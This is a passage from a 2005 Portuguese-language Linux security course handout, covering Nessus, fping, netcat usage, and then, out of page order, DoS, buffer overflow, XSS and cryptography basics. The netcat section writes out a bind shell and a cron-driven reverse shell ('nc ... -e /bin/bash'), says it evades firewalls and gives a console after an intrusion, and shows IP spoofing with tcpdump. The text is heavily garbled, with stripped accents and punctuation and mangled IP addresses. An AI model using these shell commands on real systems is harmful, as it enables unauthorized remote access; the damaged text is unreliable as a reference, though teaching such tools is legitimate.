principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 10: Curso de segurança em linux e redes em geral

Com o crescimento da web os sites de e-commece se tornaram o grande alvo dos hackers vistoque eles poderiam lucrar de vaacuterias formas principalmente financeiramenteA desfiguraccedilatildeo de Sites eacute o tipo de ataque mais simples e pode natildeo exigir grandes conhecimentosEacute o mais explorado pelos Script Kiddies Mesmo sendo um ataque simples ele causa seacuterios danos agraveempresa independente se o site eacute hospedado para ldquoterceirosrdquo31) Ataques de Negaccedilatildeo de ServiccediloApesar dos hackers ainda natildeo possuiacuterem uma uniatildeo eles trabalham em grupos de forma livrementeorganizada Estas caracteriacutesticas eacute que tornam este tipo de ataque possiacutevelO objetivo deste ataque natildeo eacute causar perda de dados ou acesso ilegal ao sistema E sim tornar oservidor incapaz de responder aos clientes reais que tentam acessar o siteUma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefocircnico dedeterminadas organizaccedilotildees neste caso os ldquohackersrdquo simplesmente ligavam repetidamente para osnuacutemeros de telefones dos SACs impedindo aos reais cliente o acesso ao serviccediloProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 11 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Os hackers podem automatizar estes ataques atraveacutes dos ldquoZumbisrdquo que satildeo sistemas previamentecomprometidos para um ataque Este tipo de ataque pode caracterizar um DDOS no qual o invasor natildeopode ser diretamente rastreadoNovos Zumbis satildeo facilmente ldquoalertadosrdquo pois cada vez mais existem pessoas com acesso debanda larga nas quais conectam seus computadores de forma protegida para um longo periacuteodo de tempoDentre as ferramentas utilizadas pelos ldquohackersrdquo podemos destacar o Tribal Flood Network e oTrin00Tipos de ataque1) Ataque Smurf uma rede com pedidos ldquoPacket Internet Groperrdquo (PING) neste casoa rede eacute sobrecarregada com uma grande quantidade de pedidos e replicar de ping2) Ataque Fraggle este ataque usa o protocolo UDP ndash User Datagram Protocol damesma forma que o ataque smurf3) Ataque de Inundaccedilatildeo de SYN cliente e servidor trocam uma seacuterie de mensagensa fim de estabelecer uma conexatildeo O primeiro pacote eacute o SYN (abreviaccedilatildeosynchroneze ndash sincronizar)O noacute da rede responde ao cliente com uma mensagem SYN-ACK (synchronize

acknowledgment ndash confirmaccedilatildeo de sincronizaccedilatildeo) Durante o ataque o hacker natildeoenvia a confirmaccedilatildeo (ACK) deixando o host aguardando com uma conexatildeo meioalertaQuando o host atinge seu limite de conexotildees ele passa a recusar quaisquerconexotildees que chegarem incluindo as vaacutelidas Estas conexotildees alertas iratildeo expiar oteacutermino do ataque e a negaccedilatildeo do serviccedilo terminaraacuteO anonimato de um ataque de Negaccedilatildeo de Serviccedilo torna-o um ataque poucovisiacutevel mas com elevados danos agrave publicidade e agrave imagem da empresaApesar de serem faacuteceis de se gerar satildeo difiacuteceis de se impedir a uacutenica coisa quepode ser feita eacute tornar sua rede mais difiacutecil de atacar e seus computadores de setornarem ZumbiProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 12 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200532) Estouro de BuffferBuffers satildeo aacutereas de armazenamento temporaacuterio1) Possui tamanho limitado2) Estou de Buffer ocorre quando os dados excedem o limite3) Os dados excelentes podem alterar outras regiotildees de dados incluindo as instruccedilotildees doPrograma4) Pode ser utilizado para executar coacutedigo malicioso e abrir acesso ao sistema5) Existem em todos os sistemasSoluccedilatildeo1) Validaccedilatildeo dos dados antes de serem enviados para o buffer2) Pode atrasar as transaccedilotildees e reduzir a largura da banda3) A validaccedilatildeo deve ser feita principalmente no servidor33) Vulnerabilidade no campo do formulaacuterio1) Principalmente nos campos ocultos2) Campos podem ser vistos selecionando as opccedilotildees ldquoEXIBIRCOacuteDIGO FONTErdquo3) O hacker pode alterar estes campos antes de submete-los ao site4) Formulaacuterios com coacutedigo de sessatildeo tambeacutem satildeo vulneraacuteveis a este ataque e poderiampermitir a um hacker apanhar a sessatildeo de um usuaacuterio realSoluccedilatildeo1) Todos os dados retornados para um formulaacuterio devem ser verificados para o servidor2) Incluindo aqueles que o usuaacuterio natildeo possui ldquoacessordquo direto3) Java Script no lado do cliente reduz o problema mas natildeo resolve pois pode serdesabilitado34) Modificaccedilatildeo do arquivo de Cookie1) Cookies satildeo arquivos texto que guardam as preferecircncias do usuaacuterio

2) Satildeo arquivos natildeo cifrados logo podem ser facilmente alterados por um hackerProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 13 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200535) Scripts entre sites1) Um usuaacuterio pode ser atraiacutedo a executar um coacutedigo malicioso contra um site2) Pode ocorrer quando um usuaacuterio recebe um e-mail com um Hiperlink3) Ao clicar no link ele eacute direcionado ao site com o coacutedigo malicioso4) O servidor web aceita o coacutedigo pensando ser de um usuaacuterio confiaacutevel e o executa5) Este script poderaacute fornecer ao hacker informaccedilotildees confidenciais sobre o usuaacuterio36) Vulnerabilidades do Sistema Operacional e das Aplicaccedilotildees1) Haacute falhas de seguranccedila em todos os sistemas operacionais e aplicaccedilotildees2) Monitorar falhas e aplicar os patches3) Fornecedores relutam em publicar os pontos fracos4) Configuraccedilotildees mal feitas portas dos fundos e depuraccedilotildees tambeacutem podem deixar o sitevulneraacutevel5) Programadores tambeacutem podem deixar comandos de depuraccedilatildeo que foram uacuteteis durante odesenvolvimento mas agora representa um grande riscoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 14 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054) A criptografia e seu usoA criptografia eacute a arteciecircncia de escrever de forma cifradacodificada Ou seja eacute o conjunto deteacutecnicas que permite reescrever uma mensagem ldquoclarardquo de forma incompreensiacutevel e permitir que somente odestinataacuterio entenda a mensagemA criptografia tem por finalidade garantir a privacidade atraveacutes do uso de algoritmos que trabalhamcomo funccedilotildees matemaacuteticas que mapeiam um dado de entrada em uma outra informaccedilatildeo na saiacuteda que eacute naverdade o texto cifradoA palavra criptografia vem do grego krypto = esconder + grafo = escritagrafiaA criptoanaacutelise eacute a ciecircncia de determinar a chave de criptografia ou decifrar as mensagens Acriptologia eacute a ciecircncia que combina ambas as anteriores E o criptanalista pode ser tanto o mocinhoquanto o vilatildeoOs componentes baacutesicos de uma estrutura de criptografia satildeo1) Dado de entrada - texto plano2) Funccedilatildeo de mapeamento - algoritmo de criptografia3) Segredo - chave que cifra eou decifra4) Dado de saiacuteda - texto cifrado41) Sistema Criptograacutefico

